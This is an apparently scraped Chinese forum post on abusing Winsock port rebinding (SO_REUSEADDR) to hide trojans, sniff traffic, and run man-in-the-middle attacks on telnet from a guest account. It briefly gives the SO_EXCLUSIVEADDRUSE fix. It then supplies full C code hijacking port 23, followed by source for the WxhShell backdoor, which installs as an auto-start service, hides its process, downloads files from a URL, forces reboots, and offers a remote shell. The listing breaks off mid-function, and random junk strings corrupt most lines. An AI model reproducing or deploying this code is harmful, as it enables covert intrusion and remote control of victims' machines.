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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E%@,n9T~"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wl|cipy"  
}SpjB  
  saddr.sin_family = AF_INET; scZdDbL6+  
N/IDj2C4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); XUTI0  
DC4O@"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); SEu1M}+E  
b9b384Q1O  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gmtp/?>e  
Jn!-Wa,  
  这意味着什么?意味着可以进行如下的攻击: f86h"#4  
=m]|C1x  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5$9g4  
ye !}hm=w  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) lJ1_Zs `  
Z Z|a`U  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 53=5xE= `D  
nQm7At  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  KKB&)R  
*S,5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 mux_S2x9m\  
sx7;G^93  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 fl%X>\i/7  
"O@L IR7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 o,}`4_N||  
,v(K |P@  
  #include Awy-kou[C  
  #include qYjR  
  #include GF]V$5.ps  
  #include    G>"=Af(t?Y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?XOl>IO  
  int main()  &ig6\&1  
  { 6?GR+;/  
  WORD wVersionRequested; UolsF-U}'  
  DWORD ret; bWU4lPfP  
  WSADATA wsaData; D&0y0lxI@  
  BOOL val; TrA&yXXL  
  SOCKADDR_IN saddr; [l"|x75-  
  SOCKADDR_IN scaddr; 2 |]pD  
  int err; a ^wGc+  
  SOCKET s; www#.D%'U  
  SOCKET sc; ^U1@ hq*u  
  int caddsize; u~[=5r  
  HANDLE mt; O)v?GQRj  
  DWORD tid;   Lso4Z Z;  
  wVersionRequested = MAKEWORD( 2, 2 ); i~1bfl   
  err = WSAStartup( wVersionRequested, &wsaData ); Fb8~2N"3  
  if ( err != 0 ) { wNQhz.>y  
  printf("error!WSAStartup failed!\n"); ,n )f=q*%  
  return -1; 6jS:_[p  
  } #Xdj:T<*  
  saddr.sin_family = AF_INET; MC=pN(l  
   Jw"fqr  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Q[sj/  
i b$2qy  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |KH981  
  saddr.sin_port = htons(23); }C6RgE.6<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]nmVT~lBe"  
  { =Rv!c+?  
  printf("error!socket failed!\n"); Q)vf>LwC2S  
  return -1; )o4B^kq  
  } ^xz*%2@  
  val = TRUE; O>FE-0rW}e  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 S: b-+w|*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]dvNUD   
  { m[l[yUw#  
  printf("error!setsockopt failed!\n"); 8nKZ   
  return -1; z _A]mJ  
  } 04npY+1 8%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; J9buf}C[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xb6y=L  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 xhq-$"B  
c_p7vvI&c0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 60RYw9d%0  
  { Ep }{m<8c  
  ret=GetLastError(); ^)wTCkH&y  
  printf("error!bind failed!\n"); ON r}{T%@/  
  return -1; 8Qm%T7]UFb  
  } k+nfW]UNF  
  listen(s,2); ~6bf-Wg'X  
  while(1) ! J7ExfEA  
  { 5}v<?<l9\  
  caddsize = sizeof(scaddr); TDqH"q0  
  //接受连接请求 )7`2FLG  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); : _,oD  
  if(sc!=INVALID_SOCKET) TAd~#jB9  
  { <4{Jm8zJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); uC2-T5n'  
  if(mt==NULL) 108cf~2&  
  { Ej;BI#gx=  
  printf("Thread Creat Failed!\n"); {`KRr:w  
  break; !t.*xT4W  
  } d<,'9/a>  
  } = ^NTHc^*  
  CloseHandle(mt); 16pk4f8  
  } )c;zNs  
  closesocket(s); P84uEDY  
  WSACleanup(); *{K?JB#W  
  return 0; A3su!I2S  
  }   *PSUB{i(  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~d.Z. AD  
  { =eHoJq  
  SOCKET ss = (SOCKET)lpParam; =PQMd  
  SOCKET sc; B)!ty"  
  unsigned char buf[4096]; qG&}lg?g{  
  SOCKADDR_IN saddr; /RF=8,A  
  long num; m N&G  
  DWORD val; /O*4/  
  DWORD ret; =#z8CFq[O  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #?^%#"~4H  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ].(l^W  
  saddr.sin_family = AF_INET; GE S_|[Q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4lCEzWo[/  
  saddr.sin_port = htons(23); XCAy _fL<B  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Mtw7aK  
  { k1h>8z.Tg  
  printf("error!socket failed!\n"); @)^|U"  
  return -1; X`s6lV%\  
  } ,SZYZ 25  
  val = 100; t5M"M{V  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s+fjQo4  
  { Kn#CIFbBN  
  ret = GetLastError(); C2a2K={  
  return -1; K6BP~@H_D  
  } G*y! Q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 50E?K!  
  { l>t0 H($  
  ret = GetLastError(); 8mh@C6U  
  return -1; .,l4pA9v  
  } J]-z7<j']  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) B3';Tcs  
  { aS $ J `  
  printf("error!socket connect failed!\n"); q RbU@o.3  
  closesocket(sc); 4DTT/ER'qA  
  closesocket(ss); C{<dzooz  
  return -1; +9fQ YJBA  
  } f_m~_`m  
  while(1) Uv|?@zy#  
  { <0h,{28  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {^ jRV@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 FpYeuH%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 JjC& io  
  num = recv(ss,buf,4096,0); iTu~Y<'m  
  if(num>0) V/dL-;W;  
  send(sc,buf,num,0); ^VOA69n>$  
  else if(num==0) -TT{4\%s  
  break; 1Z_2s2`p  
  num = recv(sc,buf,4096,0); &W*do  
  if(num>0) q L-Ni  
  send(ss,buf,num,0); tmgZNg  
  else if(num==0) &`LR{7m  
  break; ;JHR~ TV  
  } zu! #   
  closesocket(ss); l2h1CtAU  
  closesocket(sc); t}X+P`Ovq  
  return 0 ; V/@7XAt  
  } N2Q b+  
OTmw/#ug  
z[?&bF<|  
========================================================== h2_A'  
jiGXFM2  
下边附上一个代码,,WXhSHELL gK_#R]  
Ja[7/  
========================================================== =c34MY(#X  
mJYG k_ua  
#include "stdafx.h" $MYAYj9r)  
0qSf7"3f  
#include <stdio.h> &^hLFd7j/  
#include <string.h> &0k`=?v$  
#include <windows.h> d cG)ql4d  
#include <winsock2.h> %h9'kJzNk  
#include <winsvc.h> t^|GcU]  
#include <urlmon.h> .:(T}\]R  
r=4vN=:  
#pragma comment (lib, "Ws2_32.lib") 3cSP1=$*  
#pragma comment (lib, "urlmon.lib") *Me&> "N"  
HU47 S  
#define MAX_USER   100 // 最大客户端连接数 (p!w`MSv  
#define BUF_SOCK   200 // sock buffer y py  
#define KEY_BUFF   255 // 输入 buffer +zINnX  
`7$Sga6M  
#define REBOOT     0   // 重启 h}n?4B~Gi  
#define SHUTDOWN   1   // 关机 ["~T)d'  
8}.V[,]6  
#define DEF_PORT   5000 // 监听端口 (/ e[n.T  
Lz:Q6  
#define REG_LEN     16   // 注册表键长度 N;|:Ks#!  
#define SVC_LEN     80   // NT服务名长度 @@=e-d  
557%^)v  
// 从dll定义API :7L[v9'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ltg\x8w?c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4OTrMT$y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _(J4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n?S~(4%  
&j!q9F  
// wxhshell配置信息 "Gc\"'^r  
struct WSCFG { DPBWw[  
  int ws_port;         // 监听端口 iVZ X  
  char ws_passstr[REG_LEN]; // 口令 F [S'l  
  int ws_autoins;       // 安装标记, 1=yes 0=no Prqr,  
  char ws_regname[REG_LEN]; // 注册表键名 SG{&2G  
  char ws_svcname[REG_LEN]; // 服务名 <gLq?~e|A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V: P   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bS&XlgnKi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G @8wv J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X 3(CY`HH[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )=Ens=>Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^CfWLL& c  
#'fQx`LV  
}; :P?zy|aBi  
V[^ +lR  
// default Wxhshell configuration !JnxNIr&i|  
struct WSCFG wscfg={DEF_PORT, ewOe A|  
    "xuhuanlingzhe", \o<&s{ 6L  
    1, ?O.'_YS  
    "Wxhshell", 8umW>  
    "Wxhshell", (RafidiH  
            "WxhShell Service", abtYa  
    "Wrsky Windows CmdShell Service", z:W|GDD1  
    "Please Input Your Password: ", >7(7  
  1, ['DYP-1J  
  "http://www.wrsky.com/wxhshell.exe", fIii  
  "Wxhshell.exe" N/8_0]Gf  
    }; txFcV  
aFd87'^  
// 消息定义模块 Zd~Q@+sH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E, ;'n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5.U4P<qS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Mp_SL^g|  
char *msg_ws_ext="\n\rExit."; ^wW{7Uq>  
char *msg_ws_end="\n\rQuit."; +O?`uV  
char *msg_ws_boot="\n\rReboot..."; 4cZlQ3OE.  
char *msg_ws_poff="\n\rShutdown..."; ,ek0)z.  
char *msg_ws_down="\n\rSave to "; JXqwy^f  
 XM<  
char *msg_ws_err="\n\rErr!"; -}KW"#9c  
char *msg_ws_ok="\n\rOK!"; _[{oK G^u  
_64<[2  
char ExeFile[MAX_PATH]; <ql:n  
int nUser = 0; UdK+,k~m/  
HANDLE handles[MAX_USER]; U!i@XA%P  
int OsIsNt; $&KiN82,  
M <c cfU!  
SERVICE_STATUS       serviceStatus; |l673FcJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JK^pb0ih  
JTdcL mL  
// 函数声明 a8cX {6  
int Install(void); C sx EN4  
int Uninstall(void); )vy_m_f&  
int DownloadFile(char *sURL, SOCKET wsh); sZ%wQqy~k  
int Boot(int flag); {PS|q?  
void HideProc(void); \$Aw[ 5&t  
int GetOsVer(void); m4 :"c"  
int Wxhshell(SOCKET wsl); IvJ5J&!  
void TalkWithClient(void *cs); Cg&:+  
int CmdShell(SOCKET sock); ~09kIO)  
int StartFromService(void); Hr!%L*h?  
int StartWxhshell(LPSTR lpCmdLine); 5Tiap8x+<  
0khAi|PY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); drd5o Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uYMH5Om+i  
8c'5P  
// 数据结构和表定义 TF-a 1z  
SERVICE_TABLE_ENTRY DispatchTable[] = ^#&PTq>  
{ Oz4yUR  
{wscfg.ws_svcname, NTServiceMain}, u=& $Z  
{NULL, NULL} =:(<lKf,<F  
}; Azag*M?  
G[s/M\l  
// 自我安装 n*y@3.  
int Install(void) WS2@; 8.N  
{ UjcKvF  
  char svExeFile[MAX_PATH]; z]n&,q,5g  
  HKEY key; 9B2`FJ  
  strcpy(svExeFile,ExeFile); s,]z6L0  
+9]CGYj  
// 如果是win9x系统,修改注册表设为自启动 /A>1TPb09"  
if(!OsIsNt) { s p&g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XE?,)8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;-d2~1$  
  RegCloseKey(key); "J*LR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *%jd>e7d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \5R>+[n!  
  RegCloseKey(key); v0,&wdi  
  return 0; KK41I 8Mw  
    } * vP:+]  
  } m}GEx)Y D  
} %lqrq<Xn  
else { % QI6`@Y"  
eZ;DNZK av  
// 如果是NT以上系统,安装为系统服务 mcLxX'c6<h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =8 01nZJ  
if (schSCManager!=0) U?(+ {4l  
{ 4 k y/a1y-  
  SC_HANDLE schService = CreateService GdtR  /1  
  ( N3o kN8d  
  schSCManager, 5gbD|^ij  
  wscfg.ws_svcname, (m& ''yaH  
  wscfg.ws_svcdisp, y];@ M<<?e  
  SERVICE_ALL_ACCESS, [eZ'h8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Su/}OS\R  
  SERVICE_AUTO_START, )ioIn`g^-  
  SERVICE_ERROR_NORMAL, axLO: Q,  
  svExeFile, &ZAc3@l[c  
  NULL, zR_yxs'  
  NULL, jWJ/gv~ $  
  NULL, .Af H>)E  
  NULL, 'QxPQ cU  
  NULL gfm aO ]  
  ); YV"LM6`  
  if (schService!=0) o>oZh1/\T,  
  { egy#8U)Z  
  CloseServiceHandle(schService); E K#ib  
  CloseServiceHandle(schSCManager); qwDoYy yu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iWMgU:T  
  strcat(svExeFile,wscfg.ws_svcname); ;P2(C >|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y~uqKb;A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >W?7a:#,  
  RegCloseKey(key); j aq/]I7  
  return 0; |,OTGZgc  
    } {GM8}M~D&  
  } .W q"  
  CloseServiceHandle(schSCManager); =OU]<%  
} tx{tIw^2;  
} 9G=ZB^  
&yQM 8J~  
return 1; >m&r,z  
} >5}jM5$  
y6 !Zt}m  
// 自我卸载  gC}D0l[  
int Uninstall(void) &+>)H$5  
{ bLpGrGJs  
  HKEY key; -(YdK8  
=D6H?K-k!  
if(!OsIsNt) { \"qXlTQ1_9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )-9G*3  
  RegDeleteValue(key,wscfg.ws_regname); ?zKVXK7}0  
  RegCloseKey(key); nzTzc5 w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9_rNJLj8y  
  RegDeleteValue(key,wscfg.ws_regname); pQxaT$  
  RegCloseKey(key); =De%]]>   
  return 0; g]V}azLr  
  } ZpHT2-baVe  
} dyjzF`H  
} MO :##C  
else { QY2!.a^q  
>qjr7 vx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #(jozl_8  
if (schSCManager!=0) \>j._#t$h  
{ TD-d5P^Kek  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !b*lL#s,Y  
  if (schService!=0) ctOC.  
  { !UD62yw~  
  if(DeleteService(schService)!=0) { 8 F'i5i  
  CloseServiceHandle(schService); k3[ ~I'  
  CloseServiceHandle(schSCManager); Ou; ]>FJ  
  return 0; XQ<2(}]4  
  } &G@*/2A  
  CloseServiceHandle(schService); SMQuJ_  
  } 56*}}B$?  
  CloseServiceHandle(schSCManager); >Ge&v'~_|  
} :eI .E:/'  
} vZC2F  
x!q$`zF\\  
return 1; ,SJB 3if  
} kF~}htv.=  
qyc:;3?wm  
// 从指定url下载文件 GD|uU  
int DownloadFile(char *sURL, SOCKET wsh) )vsiX}3  
{ Q/iaxY#  
  HRESULT hr; mqk~Pno|<  
char seps[]= "/"; b^PYA_k-Xn  
char *token; uj&^W[s  
char *file; ?N#mD  
char myURL[MAX_PATH]; @4h .?  
char myFILE[MAX_PATH]; IBU(Hm1,  
m4ovppC  
strcpy(myURL,sURL); :9c QK]O6  
  token=strtok(myURL,seps); Mno4z/4{A  
  while(token!=NULL) xrO:Y!C?  
  { c\.4I4uy  
    file=token; [dsH0 D&T  
  token=strtok(NULL,seps); jh`&c{#*)M  
  } El0|.dW  
Og%qv Bj 6  
GetCurrentDirectory(MAX_PATH,myFILE); K|Std)6  
strcat(myFILE, "\\"); /wI$}X5o~  
strcat(myFILE, file); p0uQ>[NV0  
  send(wsh,myFILE,strlen(myFILE),0); 0<Px 2/  
send(wsh,"...",3,0); E$f.&<>T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %\[LM$f{z  
  if(hr==S_OK) R |8)iW^  
return 0; Hbx=vLQ6  
else b}o^ ?NtA  
return 1; 6+FmYp  
mN_RB{g{  
} ]m(Uv8/6  
(ui"vLk8PP  
// 系统电源模块 Z KnEg2a  
int Boot(int flag) eUVE8pZl  
{ s9qr;}U.`  
  HANDLE hToken; j; 1X-  
  TOKEN_PRIVILEGES tkp; kwZ 8q-0  
|>GtClL  
  if(OsIsNt) { 3Zdkf]Gh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >mT2g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >!wX% QHH  
    tkp.PrivilegeCount = 1; &K)c*' l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {Rjj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s{KwO+UW  
if(flag==REBOOT) { J^ryUO o}b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,S:LhgSP  
  return 0; 0NZg[>H  
} hI;tB6  
else { {?l#*XH;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ` *8p T  
  return 0; V;~W,o!  
} =wPl;SDf!  
  } cW26TtU(  
  else { D +N{'d?+  
if(flag==REBOOT) { lEAN Nu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =c M\o{ q  
  return 0; O@'/B" &  
} CG@ LYN  
else { F%lP<4Vx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X|7gj &1  
  return 0; ]U! ?{~  
} Bh"o{-$p8`  
} 3uz@JY"mK  
!V$m!i;  
return 1; PE|_V  
} d>)*!l2,C  
vEvVT]g[V  
// win9x进程隐藏模块 l^%Ez?-:s  
void HideProc(void) |OUr=b  
{ &$qqF&  
QK% {\qu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OCa74)(  
  if ( hKernel != NULL ) /^ i7^  
  { ON~SZa  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gsqlWfa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "D2 `=D!+  
    FreeLibrary(hKernel); ,*Tf9=z  
  } .4Jea#M&x  
7pMrYIP  
return; V?t^ J7{'  
} YbND2 i  
gb|C592R5C  
// 获取操作系统版本 w{UVo1r:  
int GetOsVer(void) )Pakb!0H@t  
{ lDnF(  
  OSVERSIONINFO winfo; sikG}p0mx<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =m:xf&r#  
  GetVersionEx(&winfo); B5~S&HQ?B6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "b8<C>wY  
  return 1; z^T/kK3I  
  else :&HrOdz  
  return 0; _)yn6M'Dt  
} vXAO#'4tm%  
ZC@ 33Q(  
// 客户端句柄模块 (2[tQ`~  
int Wxhshell(SOCKET wsl) 1CU-^ j  
{ #pErGz'{  
  SOCKET wsh; `6)GjZh^  
  struct sockaddr_in client; 0+}42g|_Z  
  DWORD myID; Cz-eiPlq  
x?9rT 0D  
  while(nUser<MAX_USER) <3m_} =\  
{ *R m>bLI  
  int nSize=sizeof(client); 75u/'0~5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mQhI"3! f  
  if(wsh==INVALID_SOCKET) return 1; 9i*t3W71]  
a"EX<6"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %YlL-*7 L  
if(handles[nUser]==0) L%}k.)yev  
  closesocket(wsh); z Xx HaM  
else d`5xd@p  
  nUser++;  5f(yF  
  } n#Q;b Sw  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O; 7`*}m  
?{NP3  
  return 0; "-88bF~  
} I} m\(TS-"  
Z,^`R] 9  
// 关闭 socket OS;qb:;  
void CloseIt(SOCKET wsh) eRKuy l  
{ LuM:dJ  
closesocket(wsh); HQw98/-_W  
nUser--; _ [su?C  
ExitThread(0); }><Vc ouJ[  
} J]yUjnQ[h  
-~ \R.<+  
// 客户端请求句柄 `w` f[dU-  
void TalkWithClient(void *cs) C#d .3t  
{ [APwHIS  
HQJ_:x Y  
  SOCKET wsh=(SOCKET)cs; h+<vWo}H  
  char pwd[SVC_LEN]; tgSl (.  
  char cmd[KEY_BUFF]; Anr''J&9`H  
char chr[1]; 1O]'iS"  
int i,j; epuN~T  
@E;'Ffo  
  while (nUser < MAX_USER) { Tw *:Vw  
I(tMw6C$:  
if(wscfg.ws_passstr) { D[32 t0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |ZZl3l=]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _&)^a)Nu  
  //ZeroMemory(pwd,KEY_BUFF); NF8'O  
      i=0; }'L7<_  
  while(i<SVC_LEN) { E}LuWFZ&  
bnHQvCO3$  
  // 设置超时 :>4pH  
  fd_set FdRead; ]CHO5'%,$  
  struct timeval TimeOut; 1BK!<}yI{  
  FD_ZERO(&FdRead); GOrDDp  
  FD_SET(wsh,&FdRead); tj$&89  
  TimeOut.tv_sec=8; tIn dve  
  TimeOut.tv_usec=0; UKX9C"-5v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nX~Qt%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ntR@[)K  
2[!#Xf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g@0<`g  
  pwd=chr[0]; PxfWO1S(  
  if(chr[0]==0xd || chr[0]==0xa) { VBnD:w"z  
  pwd=0; (#I$4Px{  
  break; KmS$CFsGL  
  } (mbC! !>  
  i++; (K9pr>le  
    } \OPJ*/U  
x-27rGN  
  // 如果是非法用户,关闭 socket &O8vI ,M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); riw0w  
} 7q\&  
RP[^1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qLC_p)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &! i'Q;q  
[bM$n m  
while(1) { ,w-=8>5lrj  
^u2unZ9BK!  
  ZeroMemory(cmd,KEY_BUFF); pRR1k?  
~5`p/.L)ZD  
      // 自动支持客户端 telnet标准   vge4&H3a&  
  j=0; 2L!s'^m-  
  while(j<KEY_BUFF) { Ao?y2 [sE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QFekj@  
  cmd[j]=chr[0]; XBx&&  
  if(chr[0]==0xa || chr[0]==0xd) {  -c%#Hd  
  cmd[j]=0; ,~8&0p  
  break; c{.y9P6  
  } ByyvRc,v  
  j++; mnzB90<  
    } E~}@56ER}  
pQ~Y7  
  // 下载文件 . -ihxEbzr  
  if(strstr(cmd,"http://")) { qmmQH S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7`xeuK  
  if(DownloadFile(cmd,wsh)) Z4ekBdmCL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (F=/r] Q  
  else A-"2sp*t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VT ikLuH  
  } F:$*0!  
  else { Dh+<|6mx  
z`]sWi F0  
    switch(cmd[0]) { QC\r|RXW  
  D[jPz0  
  // 帮助 \B/!}Tn;  
  case '?': { zX]4DLl,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IKo,P$ PE  
    break; hW<TP'Zm*  
  } w-{a>ZU0  
  // 安装 ~ eNKu  
  case 'i': { Q*jNJ^IW  
    if(Install()) `@<>"ff#F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y@XE! L  
    else 9U]3B)h%m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r..&6-%:N  
    break; }BYs.$7  
    } . E8Gj'yO  
  // 卸载 DXF>#2E^+  
  case 'r': { My6a.Kl  
    if(Uninstall()) .gQYN2#zb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aU\R!Y$/"  
    else "udA-;!@&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t,w'w_C  
    break; bU$f4J  
    } e^=b#!}-5:  
  // 显示 wxhshell 所在路径 R) ep1X^  
  case 'p': { 6Pp3*O`/V  
    char svExeFile[MAX_PATH]; %2@O,uCo@  
    strcpy(svExeFile,"\n\r"); ?3#L?Cq  
      strcat(svExeFile,ExeFile); }1kZF{KD<[  
        send(wsh,svExeFile,strlen(svExeFile),0); O[Yc-4  
    break; F_I.=zQr  
    } jjT)3 c:J[  
  // 重启 qs$w9I  
  case 'b': { e6`g[Ap  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6N\f>c  
    if(Boot(REBOOT)) [AHoTlPZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R4_BP5+  
    else { d DrzO*a\  
    closesocket(wsh); '"m-kor  
    ExitThread(0); f]4j7K!e]  
    } r}S>t~p:  
    break; j^5VmG  
    } byJR6f  
  // 关机 mYx6JU*`  
  case 'd': { b[U;P=;=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B;64(Vsa8  
    if(Boot(SHUTDOWN)) [gaB}aLn  
